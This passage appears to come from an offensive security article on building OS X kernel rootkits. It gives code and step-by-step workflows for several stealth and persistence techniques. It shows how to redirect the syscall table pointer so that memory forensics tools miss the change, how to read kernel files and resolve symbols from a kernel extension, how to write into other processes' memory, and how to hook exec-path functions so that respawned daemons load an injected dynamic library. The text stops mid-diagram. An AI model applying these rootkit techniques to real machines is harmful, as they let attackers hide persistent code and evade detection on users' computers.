Each BSD process has reference to the Mach tasks list via a void pointer and vice‑versa. Transversing both lists can detect the inconsistency described above and most certainly flag an installed rootkit (it is possible to have a Mach task without a corresponding BSD process).

struct proc {

(...)

void *task; /* corresponding task (static) */

(...)

}

struct task {

(...)

void *bsd_info; /* the corresponding proc_t */

(...)

}

The (not so new) lesson to extract from this is that there many points to be used for detecting inconsistencies in the system. These are hard to hide if the goal is to hide one or more rogue processes. A much better solution is to piggyback into normal processes, where detection is a bit harder ‑ it can be a normal process with an extra thread running for example. The piggyback solution will be used later to run userland commands from the kernel.

‑‑‑‑[ 2.6 ‑ Modifying the syscall handler

A common technique to hide modifications to syscall table is to make a copy and modify the syscall handler to point to this new one. Rootkit detection utils that just verify the *legit* table are unable to detect it. There's nothing new about this technique although I have never seen it in use in OS X. It is a good opportunity to describe how to implement it.

The interrupt 0x80 is handled by the assembly function idt64_unix_scall [osfmk/x86_64/idt64.s]. The IDT table definition [osfmk/x86_64/idt_table.h] confirms this and can be runtime verified by querying the IDT and extracting the address of int80 handler.

USER_TRAP_SPC(0x80,idt64_unix_scall)

Follow the idt64_unix_scall assembler code. The switch to C happens when unix_syscall[64] function is called, both for interrupt 0x80 and sysenter/systrap system calls. This code path opens many opportunities to change pointers, or install trampolines and redirect code to rootkit's implementation.

One such possibility is to change the table pointer inside unix_syscall[64]. This is sample code from the 64 bits version:

(...)

code = regs‑>rax & SYSCALL_NUMBER_MASK; DEBUG_KPRINT_SYSCALL_UNIX(

"unix_syscall64: code=%d(%s) rip=%llx\n", code, syscallnames[code >= NUM_SYSENT ? 63 : code], regs‑>isf.rip); callp = (code >= NUM_SYSENT) ? &sysent[63] : &sysent[code]; uargp = (void *)(&regs‑>rdi);

(...)

AUDIT_SYSCALL_ENTER(code, p, uthread);

error = (*(callp‑>sy_call))((void *) p, uargp, &(uthread‑>uu_rval[0])); AUDIT_SYSCALL_EXIT(code, p, uthread, error);

(...)

Disassembly output (here I renamed memory references in IDA since they have no symbols associated):

loc_FFFFFF80005E169C:

4C 03 2D 2D EA 21 00 add r13, cs:sysent

4C 3B 2D 26 EA 21 00 cmp r13, cs:sysent

74 0B jz short loc_FFFFFF80005E16B7

The sysent reference is to:

__DATA:__got:FFFFFF80008000D0 40 58 85 00 80 FF FF FF sysent dq offset sysent_table

To directly find the location of sysent in the __got section is very easy. Find out the location of sysent table using one of the section 2 techniques (or some other) and then search the __got section for that address (to find the location and boundaries of __got section we just need to read kernel's Mach‑O header).

The easiest way to redirect sysent is to modify that pointer to our modified copy. A (memory) forensic tool that (only) searches for and lookups the original sysent table will fail to detect this and the next trick. For example, Volafox v0.8 is vulnerable. Volatility's Mac version at the time of writing has yet no sysent plugin available.

Another way is to modify the code reference to __got section and instead point it to somewhere else. This is very easy to implement with diStorm's assistance.

Disassemble the unix_syscall[64] functions and lookup for references to __got address. The instructions that need to be matched are ADD and CMP (this assumption appears to hold always true). To calculate the RIP target address, diStorm has a helper macro called INSTRUCTION_GET_RIP_TARGET(). If the RIP address matches the __got address the offset can be updated. Calculate the offset to the address that contains the pointer to the new table and update it at the instruction that referenced the old __got pointer.

One last (important!) detail. RIP addressing uses a 32 bits offset, which appears to be enough to reference the new sysent (dynamically or statically allocated) in most cases. This might not always be true from my experience the distance is very near the signed int limit.

One way to make this safer is to put the pointer in kernel's memory space. This can be alignment space, Mach‑O header (for the lulz!), or somewhere else (it is just a data pointer so no need for exec permission).

‑‑[ 3 ‑ Reading the filesystem from kernel land

Now let's get going with the fun stuff that opens the door to even funnier stuff!

One of the annoying obstacles that Apple introduced against development of rootkits is the lack of kernel's full __LINKEDIT segment up to Snow Leopard. Useful symbols for rootkit development are also not exported. No one said rootkit development was easy ‑ fun but not always easy.

Possible solutions are to solve the symbols from userland, and pattern search from the kext ‑ this one easily susceptible to failure due to changing patterns in kernel versions and compilers.

For example, OS.X/Crisis spyware adopts a mixed approach. Most symbols are solved from the userland agent and communicated thru a character device to the rootkit, but sLoadedKexts is solved with byte search starting point is still a symbol solved from userland.

The easiest solution to this problem is to read the kernel file (/mach_kernel) from the rootkit and process the symbol table, as it is done from userland. The extracted addresses need to be fixed with the kernel ASLR slide but that is easily bypassed as described in section 2.2.

As far as I know no publicly known OS X rootkit ever implemented arbitrary filesystem read, and probably very few to none in other platforms (TDSS being the most famous in Windows). There is some kind of myth about the difficulty of implementing this or something else that made rootkits developers avoid it. I must confess I was influenced by that "myth" and never bothered to give it a try before this article.

In practice the implementation is extremely easy! Sometimes you just need to be in the right mood and give it a try.

Two methods will be shown, one very easy based on exported symbols (and a copy of a very stable private extern kernel function), and another a bit more complex that requires some unexported symbols. Both are based in VFS ‑ the obvious and easiest way to achieve our goal. Other functions can be used so many variations are possible. That is left open for you to explore, I still have a lot to write about in this paper :‑)

‑‑‑‑[ 3.1 ‑ Real short overview of VFS

The Virtual‑Filesystem Interface was introduced in 4.4BSD and first implemented by Sun Microsystems. Before this innovation file entries directly referenced filesystem inodes. This method does not scale well if there's more than a filesystem type.

VFS is an additional extensible object‑oriented layer that introduces an abstraction of the underlying filesystem, making it easy to support multiple filesystems. Instead of inodes there are vnodes. There is no need to deal with the intricacies of multiple filesystems ‑ we can use the VFS related functions and let the kernel do the filesystem operations "dirtywork".

The most interesting VFS related structures to our purposes are: ‑ struct filedesc: defined at bsd/sys/filedesc.h, represents the open files in a process.

‑ struct fileproc: defined at bsd/sys/file_internal.h, represents each open file.

‑ struct fileglob: defined at bsd/sys/file_internal.h, contains all the information associated to a file, including vnode and supported filesystem operations.

‑ struct vnode: defined at bsd/sys/vnode_internal.h.

Detailed references about the design and implementation can be found at [20], [14] and [13].

‑‑‑‑[ 3.2 ‑ The easy way ‑ Apple loves rootkit authors!

The first piece of information that we need is the vnode of the target file we want to read. We already seen in section 2.4 that this information is available in proc_t structure but we can follow an easier path!

One suitable function is vnode_lookup() (available in BSD KPI). It is defined at bsd/vfs/vfs_subr.c in XNU source code, and well documented at bsd/sys/vnode.h include:

/*!

@function vnode_lookup

@abstract Convert a path into a vnode.

@discussion This routine is a thin wrapper around xnu‑internal lookup routines; if successful, it returns with an iocount held on the resulting vnode which must be dropped with vnode_put().

@param path Path to look up.

@param flags VNODE_LOOKUP_NOFOLLOW: do not follow symbolic links. VNODE_LOOKUP_NOCROSSMOUNT: do not cross mount points. @return Results 0 for success or an error code.

*/

errno_t vnode_lookup(const char *, int, vnode_t *, vfs_context_t);

The arguments are the path for the target file, search flags, a vnode_t pointer for output and the vfs context for the current thread (or kernel context).

The vfs context can be obtained using the function vfs_context_current() but it is only available in the Unsupported KPI ‑ subject to whatever Apple wants to do with it so not stable enough for our purposes. In practice the vfs context is not a problem because Apple (or BSD's original code) took good care of us. Let me show you why with kernel's implementation of vnode_lookup():

errno_t

vnode_lookup(const char *path, int flags, vnode_t *vpp, vfs_context_t ctx) {

struct nameidata nd;

int error;

u_int32_t ndflags = 0;

if (ctx == NULL) { /* XXX technically an error */

ctx = vfs_context_current(); // <‑ thank you! :‑)

}

(...)

}

Apple's love means that we just need a simple operation to retrieve kernel's vnode:

#include <sys/vnode.h>

int error = 0;

vnode_t kernel_vnode = NULLVP;

error = vnode_lookup("/mach_kernel", 0, &kernel_vnode, NULL);

One important detail is that vnode_lookup() will increase the iocount on the target vnode (in case you missed above note from vnode_lookup). We must release it using vnode_put() when we do not need it anymore (after reading or writing what we want). This function is also available in the BSD KPI.

Having kernel's vnode information we can finally read its contents from the rootkit. To do that we can use the VNOP_READ() function ‑ documented and declared at bsd/sys/vnode_if.h.

/*!

@function VNOP_READ

@abstract Call down to a filesystem to read file data. @discussion VNOP_READ() is where the hard work of of the read() system call happens. The filesystem may use the buffer cache, the cluster layer, or an alternative method to get its data; uio routines will be used to see that data is copied to the correct virtual address in the correct address space and will update its uio argument to indicate how much data has been moved.

@param vp The vnode to read from.

@param uio Description of request, including file offset, amount of data requested, destination address for data, and whether that destination is in kernel or user space.

@param ctx Context against which to authenticate read request. @return 0 for success or a filesystem‑specific error. VNOP_READ() can return success even if less data was read than originally requested; returning an error value should indicate that something actually went wrong.

*/

extern errno_t VNOP_READ(vnode_t, struct uio *, int, vfs_context_t);

The last missing piece is an uio structure. To create that buffer we can use three other functions: uio_create(), uio_createwithbuffer() and uio_addiov().

Two are available in BSD KPIs ‑ uio_create and uio_addiov. The other one, uio_createwithbuffer is private extern and used by uio_create. We can rip its implementation into our rootkit code from XNU source file bsd/kern/kern_subr.c. It's simple and stable enough to make this possible (never modified in all latest OS X versions).

Once again we can pass NULL to the ctx argument ‑ the implementation takes care of it for us as in vnode_lookup().

An example how to create the required structure to hold a 4kbytes page:

char data_buffer[PAGE_SIZE_64];

uio_t uio = NULL;

uio = uio_create(1, 0, UIO_SYSSPACE, UIO_READ);

error = uio_addiov(uio, CAST_USER_ADDR_T(data_buffer), PAGE_SIZE_64);

The same example using uio_createwithbuffer:

char data_buffer[PAGE_SIZE_64];

uio_t uio = NULL;

char uio_buf[UIO_SIZEOF(1)];

uio = uio_createwithbuffer(1, 0, UIO_SYSSPACE, UIO_READ, &uio_buf[0], sizeof(uio_buf));

error = uio_addiov(uio, CAST_USER_ADDR_T(data_buffer), PAGE_SIZE_64);

First create the uio buffer, and then add it else it can't be used. The data buffer can be a statically allocated buffer (as above) or dynamically allocated using _MALLOC() or other available kernel variant.

Having the uio buffer created the last step is to execute the read:

error = VNOP_READ(kernel_vode, uio, 0, NULL);

If successful, the buffer will contain the first page (4096 bytes) of /mach_kernel OS X kernel read into data_buffer.

A good implementation reference of this process is the kernel function dqfileopen() [bsd/vfs/vfs_quota.c].

‑‑‑‑[ 3.3 ‑ The more complex way

This second approach was in fact how I started to explore this problem and before I learnt about vnode_lookup(). It is a good backup method but the learning experience and some techniques used to obtain some information are the interesting bits here.

Its biggest inconvenience is that it requires the unexported symbol VNOP_LOOKUP(). This function requires diferent arguments but has the same functionality as vnode_lookup() ‑ to lookup the vnode of a file or directory. Documentation can be found at bsd/sys/vnode_if.h.

/*!

@function VNOP_LOOKUP

@abstract Call down to a filesystem to look for a directory entry by name. @discussion VNOP_LOOKUP is the key pathway through which VFS asks a filesystem to find a file. The vnode should be returned with an iocount to be dropped by the caller. A VNOP_LOOKUP() calldown can come without a preceding VNOP_OPEN().

@param dvp Directory in which to look up file.

@param vpp Destination for found vnode.

@param cnp Structure describing filename to find, reason for lookup, and various other data.

@param ctx Context against which to authenticate lookup request. @return 0 for success or a filesystem‑specific error.

*/

#ifdef XNU_KERNEL_PRIVATE

extern errno_t VNOP_LOOKUP(vnode_t, vnode_t *, struct componentname *, vfs_context_t);

#endif /* XNU_KERNEL_PRIVATE */

The first argument is the vnode of the directory where the target file is located. It is a kind of a chicken and egg problem because we do not have that information ‑ we want it! Do not fear, this information can be extracted from somewhere else. As previously described, the proc structure contains the field p_fd ‑ pointer to open files structure (struct filedesc).

The filedesc structure has two interesting fields for our purposes:

1) fd_ofiles ‑ an array of file structures for open files.

2) fd_cdir ‑ vnode structure of current directory.

There is also fd_rdir, which is the vnode of root directory but from my tests it is usually NULL.

The proc structure is a doubly‑linked list ‑ we can "walk" around it and retrieve information of any process. In OS X, the kernel is just another Mach task with PID 0 and a corresponding proc entry ‑ before Leopard we could access kernel task via task_for_pid(0), which allowed DKOM (direct kernel object manipulation). The mach_kernel file is located at the root directory /.

The proposed procedure is to traverse the proc structure and find pid 0 (field p_pid). When found, the field fd_cdir will contain what we need the vnode for the root directory.

Next problem: how to access the proc structure. There is a symbol called allproc that contains a pointer to it but it is not exported anymore. We need an alternative way! Two solutions: complicated and straightforward.

Recalling what was already described in section 2.4. Kernel's implementation of syscall functions has a struct proc * as first parameter. Using open() as example:

open(struct proc *p, struct open_args *uap, int *retval)

What we can do is to temporarily (or not) hijack a syscall via sysent table and get a reference to any proc_t. Since it is a doubly‑linked list we can traverse it and find PID 0. When found we can extract the vnode pointer for current directory and that is it.

The kernel does not keep /mach_kernel open so the field fd_ofiles is not useful. Luckly for us the fd_cdir is populated with the information we need ‑ vnode of root directory /.

The kernel knowledgeable reader knows there is no need for all this mess to retrieve a proc_t structure. There is a BSD KPI function that solves the problem with a single call, proc_find(). Its prototype is: proc_t proc_find(int pid)

Kernel is just another task with PID 0, so just execute proc_find(0) and get the required structure pointer. This will increase the reference count and must be released using proc_rele(). Very easy, right? :‑)

Once again we need a vfs context and this time we need to supply it. While researching I used a hardcoded function pointer to vfs_context_current() but there is a better function that I found out while writing this section. It is vfs_context_create(), available in BSD KPI.

/*!

@function vfs_context_create

@abstract Create a new vfs_context_t with appropriate references held. @discussion The context must be released with vfs_context_rele() when no longer in use.

@param ctx Context to copy, or NULL to use information from running thread.

@return The new context, or NULL in the event of failure.

*/

vfs_context_t vfs_context_create(vfs_context_t);

We can use this function to create a new context and pass it to VNOP_LOOKUP(). The next step is to create a struct componentname [bsd/sys/vnode.h].

struct componentname {

// Arguments to lookup.

uint32_t cn_nameiop; /* lookup operation */

uint32_t cn_flags; /* flags (see below) */

void *cn_reserved1; /* use vfs_context_t */

void *cn_reserved2; /* use vfs_context_t */

// Shared between lookup and commit routines.

char *cn_pnbuf; /* pathname buffer */

int cn_pnlen; /* length of allocated buffer */

char *cn_nameptr; /* pointer to looked up name */

int cn_namelen; /* length of looked up component */

uint32_t cn_hash; /* hash value of looked up name */

uint32_t cn_consume; /* chars to consume in lookup() */

};

A small example to lookup /mach_kernel:

struct componentname cnp;

char tmpname[] = "mach_kernel";

bzero(&cnp, sizeof(cnp));

cnp.cn_nameiop = LOOKUP;

cnp.cn_flags = ISLASTCN;

cnp.cn_reserved1 = vfs_context_create(NULL);

cnp.cn_pnbuf = tmpname;

cnp.cn_pnlen = sizeof(tmpname);

cnp.cn_nameptr = cnp.cn_pnbuf;

cnp.cn_namelen = (int)strlen(tmpname); // <‑ add NULL ?

Now we are ready to call VNOP_LOOKUP() and use the returned vnode information to execute VNOP_READ() as in section 3.1 (do not forget to create first the UIO buffer).

Last but not least, there is another function we can (ab)use to read files ‑ vn_rdwr(). It was this function that triggered my curiosity about this process while reading about the execution flow of a Mach‑O binary. The parameters it requires can be retrieved or created with the techniques above described or others you might come up with. Feel free to implement it and discover alternative ways to read the files (there are more!).

Writing is not harder than reading. Just browse the source files mentioned in this section and the functions you need will be obvious. You can apply the techniques here described to fill the required parameters.

‑‑‑‑[ 3.4 ‑ Solving kernel symbols

Snare on his blog post [5] explains in detail how to solve the kernel symbols. The only difference is that instead of reading directly from kernel memory we have the information in temporary buffers with data read from the filesystem.

The proposed workflow is:

1) Read the first page of /mach_kernel, which contains the Mach‑O header. 2) Process the Mach‑O header and retrieve the following information: ‑ From __TEXT segment: vmaddr field (for ASLR slide computation). ‑ From __LINKEDIT segment: fileoff and filesize (so we can read the segment).

‑ From LC_SYMTAB command: symoff, nsyms, stroff, strsize. Refer to [10] for more information about Mach‑O file format. 3) Allocate buffer and read the whole __LINKEDIT segment.

4) Solve any required symbol by processing the __LINKEDIT buffer using the LC_SYMTAB collected information (offsets to symbol and string tables). 5) Do not forget to add the kernel ASLR slide to the addresses. Slide can be computed by the difference between running __TEXT vmaddr and the one read from disk.

There is no need to read the whole mach_kernel file into kernel space, we just need the headers and __LINKEDIT segment, around 1MB, smaller than the 7.8MB of Mountain Lion 10.8.2 full kernel. Kernel memory is at a premium :‑)

‑‑[ 4 ‑ Executing userland binaries from the kernel

This section describes a technique to execute userland processes from a kernel extension (not tested but should also be valid from IOKit drivers). For this purpose wowie and ghalen used the KUNC API (Kernel‑User Notification Center), a straightforward interface to execute userland executables. One problem with KUNC is that the required symbols are provided by the Unsupported KPI and Apple has the following note: The Kernel‑User Notification Center APIs are not available to KEXTs that declare dependencies on the sustainable kernel programming interfaces (KPIs) introduced in OS X v10.4.

Having different ways to accomplish a given goal is more fun and improves knowledge, which is this paper's main goal. The technique to be presented is probably not the most efficient one but it is a good learning experience about playing with kernel and how everything is implemented.

‑‑‑‑[ 4.1 ‑ Writing from kernel memory into userland processes

The first step is to find a way to write to userland process addresses from a kernel extension. In userland there is the mach_vm_write() function (or older vm_write()) to write to any arbitrary process, assuming we have the right permissions to do so (task_for_pid() is our friend).

Its prototype is:

kern_return_t mach_vm_write(vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt);

If you look at the definition of the task structure (a void* at proc structure but defined at osfmk/kern/task.h) you can find the first parameter to mach_vm_write in the "map" field. The remaining parameters are the target address, the data buffer to write and its size.

Do not forget that we need first to use mach_vm_protect (or vm_protect) to change memory protections if trying to write to the read‑only segments/sections.

The problem with this approach is that it does not work!

The memory protection is changed but mach_vm_write() does not modify the target address. The answer is that if called like this we are trying to write data from kernel space directly to the userland space, which should (obviously!) fail. Remember we need to use copyin/copyout to copy between the two spaces.

We need another solution and I will present not one but two, both easy to use. Thanks go to snare for giving me some initial sample code from his own research.

The first solution uses three functions, vm_map_copyin(), vm_map_copyout(), and mach_vm_copy(). You can read their description at osfmk/vm/vm_map.c and vm_user.c in XNU sources.

vm_map_copyin creates an object from a given address located in a given map that we can insert into another address space. This assures the correct transition between kernel and user virtual memory spaces.

The vm_map_copyout() function copies the object into the target map, aka, our target process. We need the vm_map_t info for kernel and target process ‑ both can be found by iterating proc list or proc_find(), as previously described.

There is one important detail about vm_map_copyout! It injects the object "into newly‑allocated space in the destination map". What this means is that we are just copying the data into a new memory address at the user process and not at the target address we want. Let me show you with an example of what happens using that command:

char *fname = "nemo_and_snare_rule!";

kern_return_t kr = 0;

vm_map_address_t dst_addr;

kr = vm_map_copyin(kernel_task‑>map, (vm_map_address_t)fname, strlen(fname)+1, FALSE, &copy);

kr = vm_map_copyout(task‑>map, &dst_addr, copy);

dst_addr will contain the value 0x11fa000 (target was a 32 bits process). Dumping the process memory:

sh‑3.2# ./readmem ‑p 121 ‑a 0x11fa000 ‑s 32

[ Readmem v0.4 ‑ (c) fG! ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Memory protection: rw‑/rwx

0x11fa000 6e 65 6d 6f 5f 61 6e 64 5f 73 6e 61 72 65 5f 72 nemo_and_snare_r 0x11fa010 75 6c 65 21 00 00 00 00 00 00 00 00 00 00 00 00 ule!............

At this point we need to copy the contents to the target address we want to. This can be achieved using mach_vm_copy() ‑ a function that copies one memory region to another within the same task. The address where the data was copied to can be found at the second parameter of vm_map_copyout().

It must be noticed that the first two functions are available as Private KPIs and mach_vm_copy() is not exported (I cheated in above's example). Not a big problem since we can easily solve the symbols.

The sample code to write to the Mach‑O header of a 32 bits, no ASLR binary could be something like this:

// get proc_t structure and task pointers

struct proc *p = proc_find(PID);

struct proc *p_kernel = proc_find(0);

struct task *task = (struct task*)(p‑>task);

struct task *kernel_task = (struct task*)(p_kernel‑>task); kern_return_t kr = 0;

vm_prot_t new_prot = VM_PROT_WRITE | VM_PROT_READ;

kr = mach_vm_protect((vm_map_t)task‑>map, 0x1000, len, FALSE, new_prot);

vm_map_copy_t copy;

char *fname = "nemo_and_snare_rule!";

vm_map_address_t dst_addr;

// create a vm_map_copy_t object so we can insert it at userland process

kr = vm_map_copyin(kernel_task‑>map, (vm_map_address_t)fname, strlen(fname)+1, FALSE, &copy);

// copy the object to userland, this will allocate a new space into target

// map

kr = vm_map_copyout((vm_map_t)task‑>map, &dst_addr, copy); printf("wrote to userland address 0x%llx\n", CAST_USER_ADDR_T(dst_addr));

// and now we can use mach_vm_copy() because it copies data within the same

// task

kr = mach_vm_copy((vm_map_t)task‑>map, CAST_USER_ADDR_T(dst_addr), strlen(fname)+1, 0x1000);

// release references created with proc_find() ‑ must be always done!

proc_rele(p);

proc_rele(p_kernel);

To deallocate that new allocated space in userland vm_map_remove() is a good candidate:

/*

* vm_map_remove:

* Remove the given address range from the target map.

* This is the exported form of vm_map_delete.

*/

extern kern_return_t

vm_map_remove(vm_map_t map, vm_map_offset_t start, vm_map_offset_t end,

boolean_t flags);

An easy alternative is to just zero those bytes and assume that space as a small memory leak. It works and it is not a big deal.

The second solution requires a single function and has no memory allocation at the target process. We are talking about vm_map_write_user(): "Copy out data from a kernel space into space in the destination map. The space must already exist in the destination map."

The prototype:

kern_return_t

vm_map_write_user(vm_map_t map, void *src_p, vm_map_address_t dst_addr, vm_size_t size);

Where map is the vm_map_t of the target process, and src_p the kernel data buffer we want to write to the process. The previous example using this function:

struct proc *p = proc_find(PID);

struct task *task = (struct task*)(p‑>task);

kern_return_t kr = 0;

vm_prot_t new_protection = VM_PROT_WRITE | VM_PROT_READ;

char *fname = "nemo_and_snare_rule!";

// modify memory permissions

kr = mach_vm_protect(task‑>map, 0x1000, len, FALSE, new_protection); kr = vm_map_write_user(task‑>map, fname, 0x1000, strlen(fname)+1); proc_rele(p);

This alternative is easier and does not allocate new memory at the target. Do not forget to restore the original memory permissions.

After so many words you are probably asking why not use copyout to copy from kernel to userland? Well, of course it is possible but there is a problem. It can't be used to overwrite to arbitrary processes ‑ only against the current process. Even if we try to change the current map to another process using vm_map_switch(), copyout will always retrieve the current process so copyout will fail with EFAULT if we try an address of another process that does not exists in current. This means that it can be used, for example, inside a hooked syscall but not to write to arbitrary processes.

‑‑‑‑[ 4.2 ‑ Abusing (again!) dyld to inject and run code

Most of the time hacking is about abusing features or lack‑of. This time we are going to piggyback on dyld and launchd. Poor bastards! The idea is that launchd will restart our target process and dyld will be responsible for executing our code. I used the dyld approach in OS.X/Boubou PoC described at [12] and [34], so why not again? It is easy to implement and works very well.

The core of this idea is to emulate the DYLD_INSERT_LIBRARIES (equivalent to LD_PRELOAD for those coming from ELF Unix world) when a new process is created. The library will be responsible for executing whatever we want to. In this case we want to modify the Mach‑O header before passing control to dyld. When dyld gains control (it is dyld who passes control to target's entrypoint not the kernel) it will read the header from target's memory and process it. This presents an opportunity to successfully modify and inject the Mach‑O header.

The presentations at Secuinside [11] and HitCon [12] discuss the Mach‑O header details and injection process. This is valid for dynamically linked executables, where execution will start at the dynamic linker (/usr/lib/dyld) and then continue at the executable entry point.

Launchd is the perfect target because it can automatically respawn daemons and agents, at root or user privilege level. The idea is to kill a daemon, intercept the respawn and inject the library we want to be executed. The privilege level we want to execute at depends on the target daemon.

What we need is to find a good place to intercept the respawn of the target process and modify its memory before control is passed to dyld.

A simplified version of the binary execution process, adapted from [13] is:

execve() ‑> __mac_execve()

|

v

exec_activate_image()

|

v

Read file

|

v

.‑‑‑‑> exec_mach_imgact() ‑> run dyld ‑> target entry point | |

| v

| load_machfile()

| |

| v

| parse_machfile() [maps the load commands into memory] | |

| v

| load_dylinker() [sets image entrypoint to dyld] | |

| v

`‑‑‑‑‑‑‑‑‑ (...)

Chapter 7 of [14] and Chapter 13 of [13] thoroughly describe the execution process in case you are interested in every detail.

The above diagram presents many places where we can modify the new process memory and its Mach‑O header. As previously mentioned, when dyld gains control it will parse again the Mach‑O header so our modification is guaranteed to be used if made before dyld's control.

We can confirm this by looking at dyld source code [15]:

//

// Entry point for dyld. The kernel loads dyld and jumps to __dyld_start

// which sets up some registers and call this function.

//

// Returns address of main() in target program which __dyld_start jumps to

//

uintptr_t

_main(const macho_header* mainExecutableMH, uintptr_t mainExecutableSlide, int argc, const char* argv[], const char* envp[], const char* apple[], uintptr_t* startGlue)

One curious detail (without any practical application I can foresee now) is that dyld does not validate the header ‑ the magic value can be modified to anything and dyld will happily continue its work. Kernel data can be trusted, right?

‑‑‑‑[ 4.3 ‑ Finding the place to execute the injection

With theory in place it is finally time to move to practice! We need to find one or more places where we can modify the target process memory and inject our dynamic library.

The kernel has no symbol stubs so we can't just modify a pointer and hijack a useful function. One solution is to inline hook the function prologue and make it jump to our function. We can simplify this by implementing the whole original function (copy from XNU source into our rootkit); this way we do not need to return back to the original one, just restore the original bytes when we finish our evil work.

A good starting point to look for candidate functions is exec_mach_imgact(). The reason why is that when it returns control to dyld everything required to execute the new process is set (kernel side). As much as possible near its end is best.

After exploring exec_mach_imgact, I found a good candidate at task_set_dyld_info(). It is called twice, one before the image is loaded into memory, and another after the image is loaded. Clearly, the former does not interest us so we need to distinguish between each case. This function is only used at exec_mach_imgact().

Looking at its code in osfmk/kern/task.c:

void

task_set_dyld_info(task_t task, mach_vm_address_t addr, mach_vm_size_t size)

{

task_lock(task);

task‑>all_image_info_addr = addr; task‑>all_image_info_size = size;

task_unlock(task);

}

The locks calls are nothing else than macros using a symbol available in KPIs:

#define task_lock(task) lck_mtx_lock(&(task)‑>lock) #define task_unlock(task) lck_mtx_unlock(&(task)‑>lock)

It is a great candidate ‑ we can copy & paste its code into our rootkit source, add our code to inject the library and then execute the original function code. Because it is not a static function we can find its symbol. The first parameter is a task_t structure, which has a pointer to the correspondent proc_t structure (remember that proc and task structures are connected to each other via void pointers).

The proposed workflow could be:

1) Find task_set_dyld_info() address.

2) Patch prologue to jump to our function.

3) Execute our function to inject library.

4) Restore original bytes from 2).

5) Execution continues, our library is executed by dyld.

The only problem with this function is here at exec_mach_imgact():

/*

* Remember file name for accounting.

*/

p‑>p_acflag &= ~AFORK;

/* If the translated name isn't NULL, then we want to use

* that translated name as the name we show as the "real" name. * Otherwise, use the name passed into exec.

*/

if (0 != imgp‑>ip_p_comm[0]) { bcopy((caddr_t)imgp‑>ip_p_comm, (caddr_t)p‑>p_comm, sizeof(p‑>p_comm));

} else {

if (imgp‑>ip_ndp‑>ni_cnd.cn_namelen > MAXCOMLEN) imgp‑>ip_ndp‑>ni_cnd.cn_namelen = MAXCOMLEN; bcopy((caddr_t)imgp‑>ip_ndp‑>ni_cnd.cn_nameptr, (caddr_t)p‑>p_comm, (unsigned)imgp‑>ip_ndp‑>ni_cnd.cn_namelen); p‑>p_comm[imgp‑>ip_ndp‑>ni_cnd.cn_namelen] = '\0'; }

The process name in proc_t structure is only set after the second call to task_set_dyld_info(), so we can't use it to detect which process is going to be executed and trigger or not our injection (remember we are only interested in a specific process to be executed by launchd). A workaround to this problem is to lookup the open files structure in proc_t (p_fd field).

An alternative solution is to use another function! There is an even better one near the end of exec_mach_imgact() called proc_resetregister(). The advantage of being near the end is that we can change a lot more things (kernel completed most of its tasks related to new process execution), opening way for some cute tricks.

Its implementation is also very simple [bsd/kern/kern_proc.c]:

void proc_resetregister(proc_t p)

{

proc_lock(p);

p‑>p_lflag &= ~P_LREGISTER;

proc_unlock(p);

}

The lock/unlock here are implemented as functions instead of macros and not exported. We can simply define the macros or change our code to use lck_mtx_*. This time we have a proc_t structure and can use the p_comm field to find our target(s) (or proc_name() to get the name of a given pid). Perfect spot!

With a location where to execute our modifications we can proceed to the last step, modify the target Mach‑O header.

‑‑‑‑[ 4.4 ‑ Ideas are great, execution is everything

Assuming that our hijacked function is proc_resetregister(), we can extract all the information we will need from the proc_t parameter. Let's proceed with this.

The number of binaries that use ASLR is increasing so the first step is to find at which memory address is the binary loaded (the Mach‑O header to be more specific). The ASLR slide is generated inside load_machfile() and not set in a struct/var or returned. One way to solve the problem is to take a peak at the virtual memory map (vmap) of the target process. The following does the job (assuming we are inside our own proc_resetregister()):

struct task *task = (struct task*)p‑>task;

mach_vm_address_t start_address = task‑>map‑>hdr.links.start;

Start contains the lower address of the process, which is where the Mach‑O header is located at. This *appears* to hold always true (there are good reasons to believe it!).

To modify the Mach‑O header of the target process we need to parse the header to find free space where we can add the new LC_LOAD_DYLIB command. The necessary free space is common ‑ most binaries have enough slack space between the last command and first code/data.

The header can be retrieved from the user space with vm_map_read_user() or copyin (because here we are executing in current proc context). After we have found the free space and the full Mach‑O header is in our buffer, we just need to add a new LC_LOAD_DYLIB command.

The two below diagrams show what needs to be done at the Mach‑O header:

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

| HEADER |<‑ Fix this struct:

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| struct mach_header {

| Load Commands | uint32_t magic;

| .‑‑‑‑‑‑‑‑‑‑‑‑‑. | cpu_type_t cputype;

| | Command 1 | | cpu_subtype_t cpusubtype;

| |‑‑‑‑‑‑‑‑‑‑‑‑‑| | uint32_t filetype;

| | Command 2 | | uint32_t ncmds; <‑ add +1 | |‑‑‑‑‑‑‑‑‑‑‑‑‑| | uint32_t sizeofcmds; <‑ += size of new cmd | | ... | | uint32_t flags;

| |‑‑‑‑‑‑‑‑‑‑‑‑‑| | };

| | Command n | |

| |‑‑‑‑‑‑‑‑‑‑‑‑‑| |

| | Command n+1 | |<‑ add new command here:

| `‑‑‑‑‑‑‑‑‑‑‑‑‑ | struct dylib_command { |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| uint32_t cmd;

| Data | uint32_t cmdsize;

| .‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑. | struct dylib dylib;

| | | Section 1 | | };

| | 1 |‑‑‑‑‑‑‑‑‑‑‑| | struct dylib {

| | | Section 2 | | union lc_str name;

| `‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ | uint32_t timestamp;

| .‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑. | uint32_t current_version;

| | | Section 1 | | uint32_t compatibility_version;

| | 2 |‑‑‑‑‑‑‑‑‑‑‑| | };

| | | Section 2 | | union lc_str {

| `‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ | uint32_t offset;

| ... | #ifndef __LP64__ // not used

| | char *ptr;

| | #endif

| | };

`‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

A diff between original and modified:

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑. .‑‑‑‑‑‑‑‑‑‑‑‑‑

| HEADER | | HEADER |<‑ Fix this struct

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| |‑‑‑‑‑‑‑‑‑‑‑‑‑struct mach_header {

